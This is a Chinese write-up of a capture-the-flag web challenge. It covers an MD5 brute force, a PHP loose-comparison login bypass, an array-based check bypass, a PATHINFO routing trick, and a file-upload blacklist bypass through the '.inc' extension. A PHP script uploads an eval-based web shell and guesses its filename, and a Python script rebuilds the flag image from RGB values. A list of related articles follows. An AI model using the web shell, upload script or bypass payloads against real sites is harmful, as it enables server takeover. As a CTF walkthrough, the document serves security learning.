三個白帽-條條大路通羅馬系列2-Writeup
0x00 前言
好好的Web咋變成了misc?友誼小船,說翻就翻!!!!
http://4e79618700b44607c.jie.sangebaimao.com
0x01 獲取原始碼
沒有Tips的程式碼審計題,原始碼獲取必定是第一關。右鍵看原始碼,沒東西,看看header頭,果然有蹊蹺。
Set-Cookie source=WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr
於是乎,解得
#!php
substr(md5($_GET['source']),3,6)=="81a427"
這個好熟悉的趕腳,在BCTF2016的homework出現過,雖然有點不同。立馬祭出神器
#!python
#!/bin/env python
#-*- encoding: utf-8 -*-
import md5
def mx(str):
m1 = md5.new()
m1.update(str)
return m1.hexdigest()
if __name__ == '__main__':
m = '81a427'
for x in range(1,100000000):
a = mx(str(x))[3:9]
if a == m:
print x
break
跑出47733
/index.php?source=47733
即可得到原始碼包的下載地址/WoShiYuanMa_SGBM.zip
0x02 登陸的腦洞
#!php
$password = unserialize($_POST['password']);
if($_POST['username']='admin' && $password['username'] !== 'admin' && $password['password'] !== 'admin'){
if ($password['username'] == 'admin' && $password['password']=='admin') {
$_SESSION['login'] = 1;
echo "<center style=\"font-size:36px;\"><a href=\"main.php\">Click jump to the Backstage</a></center>";
}
一開始以為是unserialize的腦洞,仔細看看程式碼才發現是php的特性雙等號(==)的弱型別轉換漏洞。
#!php
(0 == "str")=>true
(0 === "str")=>false
即構造POST:
username=admin&password=a:2:{s:8:"username";i:0;s:8:"password";i:0;}&submit=1
成功擼過~
0x03 二次驗證
#!php
if (isset($_POST['salt']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['salt']) === FALSE)
{
exit('ereg');
}
elseif (strlen($_POST['salt']) < 11 && $_POST['salt'] > 999999999)
{
if (strpos($_POST['salt'], '*SGBM*') !== FALSE)
{
$_SESSION['admin'] = 1;
echo "<center style=\"font-size:36px;\"><a href=\"./admin/index.php\">Click jump to the Backstage</a></center>";
}
咋一看、好像很難的樣子。
ereg處理陣列會得到NULL,
同樣strlen處理陣列也會得到NULL,
array() > int
可以得到true,
strpos處理陣列也會得到NULL。
即構造POST:
salt[]=v&submit=1
再次完美擼過。
然而最後官方的出題思路是:
bypass ereg函式了,查到了用%00
然後,根據php特性: 9e9 > 999999999
得到: salt=9e9%00*SGBM*
0x04 PATHINFO模式
#!php
$URL = $_SERVER['REQUEST_URI'];
$matches = array();
preg_match('/^([a-z\/.]+)$/', $URL, $matches);
if(strpos($URL, './') !== FALSE){
exit('./');
}
else if(strpos($URL, '\\') !== FALSE){
exit('\\');
}
else if(empty($matches) || $matches[1] != $URL){
exit('empty($matches) || $matches[1] != $URL');
}
else if(strpos($URL, '//') !== FALSE){
exit('//');
}
else if(substr($URL, -10) !== '/index.php'){
exit('substr($URL, -10) !== \'/index.php\'');
}
else if(strpos($URL, 'p.') !== FALSE){
exit('p.');
}
else if($URL == '/admin/index.php'){
exit('$URL == \'/admin/index.php\'');
}
else {
if($URL !== '/admin/index.php'){
$_SESSION['power'] = 1;
exit("<center style=\"font-size:36px;\"><a href=\"upload.php\">Click jump to the Backstage</a></center>");
}
}
一開始各種繞過,始終無解,後來得到大神的Tips。
還是缺乏經驗啊~
LN牛的提示:
索題小二(516421987) 2016-05-20 1:12:49
多點框架經驗應該能猜到
果斷百度到PATHINFO模式
URL:/admin/index.php/admin/index.php
成功擼過~
0x05 上傳之fuzz字尾
#!php
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];//總有一款適合你
$filearr = pathinfo($_FILES["file"]["name"]);
if(!in_array($_FILES["file"]['type'], $typeAccepted)) {
exit("type error");
}
if(in_array($filearr["extension"], $blackext)) {
exit("extension error");
}
$filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];
$destination_folder = '../uploads/';
$destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";
$file_name_path = $destination_folder.$filename;
if (!file_exists($destination_folder)) mkdir('./' . $destination_folder, 0777, true);
if (move_uploaded_file($_FILES["file"]['tmp_name'], $file_name_path)) {
exit('upload success!');
} else {
exit('upload false!');
}
}
逆天的黑名單:$blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];
噁心的檔名$filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];
靠的就是Fuzz字尾名。
一開始猜測是能執行解析的字尾名,然而基本上都過濾了。最後才想到還有一個inc的字尾。
要不是我前不久折騰過Phar包、我還不會想起有這個麼和php相關的字尾名。
#!php
<?php
$phar = new Phar('virink.phar', 0, 'virink.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/virink');
$phar->setStub($phar->createDefaultStub('virink.php', 'virink.php'));
$phar->compressFiles(Phar::GZ);
?>
生成一個virink.phar檔案,你就會發現
#!php
Extract_Phar::go(true);
$mimes = array(
'phps' => 2,
...,
'xsd' => 'text/plain',
'php' => 1,
'inc' => 1,
'avi' => 'video/avi',
...
若以,測試了下inc字尾,果真能夠執行。
出題人的腦洞果然牛逼。
關於檔名爆破,一開始Fuzz的時候、因為懶,所以順手寫了個PHP指令碼的POC
#!php
<?php
date_default_timezone_set('UTC');
error_reporting(0);
function fuck($ext, $contents){
$u = "4e79618700b44607c.jie.sangebaimao.com";
$key = "file\";filename=shell.$ext\r\nContent-Type:image/jpeg\r\nv:v";
$fields[$key] = $contents;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://".$u."/admin/upload.php");
curl_setopt($ch,CURLOPT_HEADER,true);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);
curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);
curl_setopt($ch, CURLOPT_COOKIE, 'YOU COOKIE');
$result = curl_exec($ch);
curl_close($ch);
$tt = substr($result,strpos($result,'Date')+11,20);
$t = strtotime($tt);
if(strpos($result,'success') === FALSE)
die('error');
for($i = 10; $i<100;$i++){
$url = "http://".$u."/uploads/2016/05/".md5($t.$i).'.'.$ext;
$f = file_get_contents($url);
if ($f && strpos($f,'virink') !== FALSE){
print $url;
break;
}
}
}
$contents =<<<TEXT
<?php eval(\$_POST[999]);?>virink
TEXT;
$ext = 'inc';
fuck($ext, $contents);
?>
程式碼有點不簡潔、、懶得改了,將就著用吧。
成功getshell~~
0x06 什麼鬼?Misc
getshell之後果真很蛋疼,很奔潰!
imstudy(214329772) 1:44:30
我都說拿完shell內心是奔潰的了,你竟然不信我
沒錯,imstudy就是出題人,少年,拿起你手中的狼牙棒,保證不打死就可以了~~
菜刀練上去,發現/var/www/
目錄下是一個圖片flag.jpg
神器 Stegsolve + WinHex,提取出來一個壓縮包,,裡面是一個flag.txt。
然而還不是真正的flag,反而是N多汗(x,y,z)格式的東西。0-255之間,猜測是RGB值。
這可能要畫圖。
統計了一下行數、還不是正規的正方形尺寸。
默默折騰出一個POC,完美折騰出圖片。
#!python
#!/bin/env python
#-*- encoding: utf-8 -*-
# __author__ : Virink
from PIL import Image
import math
if __name__ == '__main__':
count = len(open('flag.txt','r').readlines())
j = int(math.sqrt(count))
i = j+2
for k in range(0,i/4):
sx = i-k
sy = j+k
if (sx * sy) == count:
break
c = Image.new("RGB",(sx,sy))
file = open('flag.txt')
for x in range(0,sx):
for y in range(0,sy):
line = file.readline()#獲取一行
rgb = line.split(",")#分離rgb
c.putpixel((x,y),(int(rgb[0]),int(rgb[1]),int(rgb[2])))
c.show()
c.save("flag.png")
通關,此時此刻,我的內心依舊崩潰中!
FLAG : miao{fb49ac8a528901913ea2c664c6a8d6a1}
相關文章
- 三個白帽條條大路通羅馬系列2之二進位制題分析2020-08-19
- 《調教命令列06》條條大道通羅馬,羅馬羅馬你在哪(學習技巧)2020-04-01命令列
- 白條抵庫2008-06-03
- 幾期『三個白帽』小競賽的writeup2020-08-19
- 三個白帽之來自星星的你(一)writeup2020-08-19
- 三個白帽挑戰之我是李雷雷我在尋找韓梅梅系列3——writeup2020-08-19
- 【CSS系列】命名千萬條,BEM第一條2019-04-26CSS
- mac桌面出現白條怎麼解決2020-04-05Mac
- win10左上角總有白條去不掉怎麼辦_win10螢幕左上角出現一個白條如何去掉2020-06-14Win10
- 黑客暗戰——黑帽、白帽、灰帽背後的隱祕世界2017-06-08黑客
- Laravel 系列:orWhere 條件式2017-09-13Laravel
- 印表機打出來有條紋怎麼處理 印表機打出來有間隔白條2022-02-03
- Apache ShardingSphere 在京東白條場景的落地之旅2021-10-14Apache
- 網路安全中什麼是白帽、黑帽、灰帽駭客?有什麼區別?2021-08-16
- 第一天-白帽守則2024-03-27
- Bootstrap系列 -- 43. 固定導航條2015-06-29boot
- 執行緒安全(三個條件)Synchronzied,wait和notify2021-01-01執行緒AI
- 第六屆補天白帽大會召開:多方聚力推動白帽人才實戰化能力發展2022-11-03
- 特斯拉洗白!車主靠自動駕駛撿回一條命2018-03-06自動駕駛
- sql server 2000 一個表的資料插入到三個相關聯表中,一條一條的插入2009-07-06SQLServer
- 遊戲策劃的三條能力線2019-12-12遊戲
- LINQ系列:LINQ to SQL Where條件2014-10-24SQL
- Bootstrap系列 -- 38. 基礎導航條2015-06-29boot
- 魅族給高通“打白條”再思考 沒有專利萬萬不能2016-07-05
- iPhone 7設計圖完全曝光 耳機介面與白條確認消失2016-05-12iPhone
- Coinbase迴應白帽黑客賬戶“被封”事…2016-04-18黑客
- Effective Modern C++ 系列之 條款2: auto2021-09-09C++
- 小白學python系列-(6) 條件判斷2018-04-06Python
- Bootstrap系列 -- 39. 導航條新增標題2015-06-29boot
- Android花樣loading進度條(三)-配文字環形進度條2021-09-09Android
- 【新特性速遞】進度條,進度條,進度條2020-06-12
- AIX條帶化、儲存條帶化、ASM條帶化2010-01-13AIASM
- 資料千萬條,安全第一條2019-02-20
- 幾個程式觸發條件(zt)2007-06-27
- DBWn程式觸發4個條件2011-10-18
- 頭條號批次管理工具,多個頭條號批次進行管理2020-07-23
- 死磕java concurrent包系列(三)基於ReentrantLock理解AQS的條件佇列2018-12-08JavaReentrantLockAQS佇列
- canvas系列教程之多線條組成圖形2019-02-25Canvas